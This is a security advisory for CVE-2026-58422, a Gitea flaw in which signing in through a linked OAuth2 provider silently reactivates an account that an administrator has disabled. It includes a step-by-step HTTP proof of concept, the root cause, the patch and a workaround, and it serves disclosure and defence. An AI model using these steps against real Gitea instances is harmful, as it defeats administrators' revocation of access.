CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
A disabled Gitea user can silently reactivate their own account just by signing in through any linked OAuth2 provider, bypassing an administrator's explicit disable action.
The problem
In Gitea versions before 1.26.4, the OAuth2 sign-in callback handler (`routers/web/auth/oauth.go::handleOAuth2SignIn`) reads the local user's `IsActive` flag and, when it finds it `false`, unconditionally sets `opts.IsActive = optional.Some(true)`, calls `UpdateUser`, and immediately issues a valid session.
This means any user who has ever linked an external identity provider can undo a site administrator's "Disable Account" action by simply completing one OAuth dance. Full access to repositories, organizations, and tokens is restored without any administrator involvement.
Proof of concept
A working proof-of-concept for CVE-2026-58422 in code.gitea.io/gitea, with the exact payload below.
# Step 1: Admin disables the account (confirm via API)
GET /api/v1/admin/users/alice HTTP/1.1
Host: <gitea-host>
Authorization: token <ADMIN_TOKEN>
Accept: application/json
# Response shows: {"login":"alice","active":false,...}
# Step 2: Alice clicks "Sign in with <source-name>" and completes the OAuth dance.
# The IdP redirects back to Gitea:
GET /user/oauth2/<source-name>/callback?code=<OAUTH_CODE>&state=<STATE> HTTP/1.1
Host: <gitea-host>
# Gitea's handleOAuth2SignIn sees IsActive=false, sets opts.IsActive=true,
# calls UpdateUser, and immediately sets a session cookie.
# Alice is now logged in and her account is active again.
# Step 3: Admin re-checks the account (no action taken by admin):
GET /api/v1/admin/users/alice HTTP/1.1
Host: <gitea-host>
Authorization: token <ADMIN_TOKEN>
Accept: application/json
# Response now shows: {"login":"alice","active":true,...}The root cause is that the OAuth callback path treated the local `IsActive=false` flag as stale bookkeeping to synchronize against the external IdP, rather than as an authoritative administrative override. The patch (PR #38009, commit c43eb7c) removes the unconditional `opts.IsActive = optional.Some(true)` assignment: instead, when `IsActive` is `false`, the handler now returns an `IsErrUserInactive` error and denies the session, consistent with how the local-credential login path already behaved.
This is CWE-284 (Improper Access Control): a security-relevant gate (admin disable) was bypassed because the control was applied on the database row after the check, not before the session was issued.
The fix
Upgrade to Gitea 1.26.4 or later. The fix is in PR #38009 (commit c43eb7c33a100ffc7b2367adf165f7085e0ccdc5): the OAuth callback handler no longer reactivates a disabled account. As a short-term workaround on unpatched instances, revoke the user's linked external identity via Site Administration before or immediately after disabling the account, so the OAuth callback cannot match an existing `external_login_user` row.
Related research
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream
- critical · 9.8CVE-2026-20896CVE-2026-20896: Gitea Docker Image Authentication Bypass via Spoofed X-WEBAUTH-USER Header
- high · 7.5CVE-2026-58421CVE-2026-58421: Gitea CODEOWNERS ReDoS via Unbounded regexp2 Match
- high · 7.1CVE-2026-58437CVE-2026-58437: Gitea Repository Visibility Manipulation via Git Push Options